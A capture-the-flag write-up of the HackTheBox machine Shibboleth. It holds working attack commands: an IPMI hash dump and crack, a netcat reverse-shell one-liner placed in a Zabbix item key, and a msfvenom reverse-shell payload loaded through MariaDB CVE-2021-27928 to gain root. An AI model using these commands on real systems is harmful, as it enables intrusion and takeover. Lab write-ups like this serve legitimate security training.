Writeup - Shibboleth (HTB)

This is a writeup for the Shibboleth machine on the HackTheBox site.

Enumeration

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First, let’s start with a scan of our target with the following command:

nmap -sV 10.10.11.124

One TCP ports are discovered:

• 80/tcp : HTTP web server (Apache 2.4.41)

Exploit

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At first I start by making a scan of the pages of the site:

Then I make a scan of the subdomain:

I find 3 different subdomains, I add them to the /etc/hosts. Then I access the site zabbix.shibboleth.htb and I arrive on an authentication page!

After some research, I can’t find anything in particular. So I try to do a UDP scan to see if any additional ports are open. For that I use the following command:

sudo nmap -sU --min-rate 5000 shibboleth.htb

The port 623/udp is open, after some research on google I find this port is used for IPMI (Intelligent Platform Management Interface). I quickly find an exploit related to this port:

623/UDP/TCP - IPMI - HackTricks

So I launch Metasploit and I set the extension with the following commands:

use auxiliary/scanner/ipmi/ipmi_dumphashes
set RHOSTS shibboleth.htb
set OUTPUT_JOHN_FILE hash

After a few seconds, it returns the hash of an Administrateur user!

[+] 10.10.11.124:623 - IPMI - Hash found: Administrator:156faf2282010000498ef9d2af7763ced04cc2a26058817d46f358e7f7f1991b35fd4a73def2e04ea123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:6b18bd2fb3309ee821c2ade2e1bcc9f2a8c75519

I try to crack it with john using the following command:

john hash --wordlist=rockyou.txt

John finds the following password: ilovepumkinpie1.

I then credit them on the previous authentication page and it works.

After some research I find that it is possible to execute commands by creating an item via the administration panel. For that I go on the following page:

Configuration -> Hosts -> Item -> Create Item

I give a name to the item then I return the following key value:

name: shell
key : system.run[rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.103 1234 >/tmp/f,nowait]

I can now test the item with the Get value and test button.

I now have a reverse shell with the user zabbix.

I start by upgrading my shell with the following command:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Then I realize that the first flag is held by the user ipmi-svc. This is the same name as the port I exploited above, so I try to change the user with the same password:

zabbix@shibboleth:/home/ipmi-svc$ su ipmi-svc 
su ipmi-svc
Password: ilovepumkinpie1

ipmi-svc@shibboleth:~$ cat user.txt
cat user.txt
70c2f49504f02ded92ccbef9b3c95b35

I now have access to the first flag.

Privilege escalation

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I start by uploading the linPeas.sh script then I run it. I notice 2 things in the result:

• The mysql service is run by the root user
• I have access to a file with a username and password to access the database

So I try to connect to the database with the following command:

mysql -h 127.0.0.1 -u zabbix -p

The credentials work well and allow me to discover the version of the mysql database: MariaDB 10.3.25.

After some research I find that this version is sensitive to CVE-2021-27928. This CVE allows to create a reverse shell root !

So I start by creating a payload with the following command:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.103 LPORT=2345 -f elf-so -o exploit.so

Then after uploading it to the target machine, I set the global variable wsrep_provider with this same payload:

mysql -h 127.0.0.1 -u zabbix -p -e 'SET GLOBAL wsrep_provider="/tmp/exploit.so";'

I now have a reverse shell as root and I can get the last flag.

root@shibboleth:/var/lib/mysql# cat /root/root.txt
cat /root/root.txt
6e4f289fbcc6803513ffe5a5dae46b85

Recommendations

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To patch this host I think it would be necessary to perform a number of actions:

• Update IPMI to avoid dumps of user hashes
• Do not use the same password across multiple services
• Do not run MariaDB as root
• Update MariaDB to avoid the reverse shell exploit